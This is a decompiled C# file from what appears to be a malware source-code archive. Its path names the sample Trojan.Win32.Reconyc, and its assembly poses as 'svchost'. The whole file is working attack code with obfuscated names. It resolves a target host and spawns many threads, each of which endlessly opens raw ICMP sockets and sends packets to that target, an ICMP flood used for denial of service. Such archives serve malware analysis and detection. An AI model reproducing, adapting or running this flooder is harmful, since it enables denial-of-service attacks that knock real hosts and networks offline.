MalwareSourceCode/MSIL/Trojan/Win32/R/Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87/_003F5_003F.cs
2022-08-18 06:28:56 -05:00

121 lines
4.2 KiB
C#

// Decompiled with JetBrains decompiler
// Type: ?1?.?5?
// Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe
using \u003F1\u003F;
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace \u003F1\u003F
{
internal class \u003F5\u003F
{
private static ThreadStart[] \u003F130\u003F;
private static Thread[] \u003F131\u003F;
public static string \u003F129\u003F;
public static int \u003F140\u003F;
private static IPEndPoint \u003F79\u003F;
public static int \u003F132\u003F;
public static int \u003F87\u003F;
private static \u003F5\u003F.\u003F6\u003F[] \u003F133\u003F;
public static int \u003F134\u003F;
public static void \u003F24\u003F()
{
try
{
\u003F5\u003F.\u003F79\u003F = new IPEndPoint(Dns.GetHostEntry(\u003F5\u003F.\u003F129\u003F).AddressList[0], \u003F5\u003F.\u003F132\u003F);
}
catch
{
\u003F5\u003F.\u003F79\u003F = new IPEndPoint(IPAddress.Parse(\u003F5\u003F.\u003F129\u003F), \u003F5\u003F.\u003F132\u003F);
}
\u003F5\u003F.\u003F131\u003F = new Thread[\u003F5\u003F.\u003F134\u003F];
\u003F5\u003F.\u003F130\u003F = new ThreadStart[\u003F5\u003F.\u003F134\u003F];
\u003F5\u003F.\u003F133\u003F = new \u003F5\u003F.\u003F6\u003F[\u003F5\u003F.\u003F134\u003F];
for (int index = 0; index < \u003F5\u003F.\u003F134\u003F; ++index)
{
\u003F5\u003F.\u003F133\u003F[index] = new \u003F5\u003F.\u003F6\u003F(\u003F5\u003F.\u003F79\u003F, \u003F5\u003F.\u003F140\u003F, \u003F5\u003F.\u003F87\u003F);
\u003F5\u003F.\u003F130\u003F[index] = new ThreadStart(\u003F5\u003F.\u003F133\u003F[index].\u003F23\u003F);
\u003F5\u003F.\u003F131\u003F[index] = new Thread(\u003F5\u003F.\u003F130\u003F[index]);
\u003F5\u003F.\u003F131\u003F[index].Start();
}
}
public static void \u003F25\u003F()
{
for (int index = 0; index < \u003F5\u003F.\u003F134\u003F; ++index)
{
try
{
\u003F5\u003F.\u003F131\u003F[index].Suspend();
}
catch
{
}
}
}
private class \u003F6\u003F
{
private int \u003F140\u003F;
private IPEndPoint \u003F79\u003F;
private int \u003F87\u003F;
private Socket[] \u003F135\u003F;
public \u003F6\u003F(IPEndPoint _param1, int _param2, int _param3)
{
this.\u003F79\u003F = _param1;
this.\u003F140\u003F = _param2;
this.\u003F87\u003F = _param3;
}
public void \u003F23\u003F()
{
while (true)
{
byte[] buffer = new byte[this.\u003F87\u003F];
try
{
this.\u003F135\u003F = new Socket[this.\u003F140\u003F];
for (int index = 0; index < this.\u003F140\u003F; ++index)
{
this.\u003F135\u003F[index] = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp);
this.\u003F135\u003F[index].Blocking = false;
this.\u003F135\u003F[index].SendTo(buffer, (EndPoint) this.\u003F79\u003F);
}
Thread.Sleep(100);
for (int index = 0; index < this.\u003F140\u003F; ++index)
{
if (this.\u003F135\u003F[index].Connected)
this.\u003F135\u003F[index].Disconnect(false);
this.\u003F135\u003F[index].Close();
this.\u003F135\u003F[index] = (Socket) null;
}
this.\u003F135\u003F = (Socket[]) null;
}
catch
{
for (int index = 0; index < this.\u003F140\u003F; ++index)
{
try
{
if (this.\u003F135\u003F[index].Connected)
this.\u003F135\u003F[index].Disconnect(false);
this.\u003F135\u003F[index].Close();
this.\u003F135\u003F[index] = (Socket) null;
}
catch
{
}
}
}
}
}
}
}
}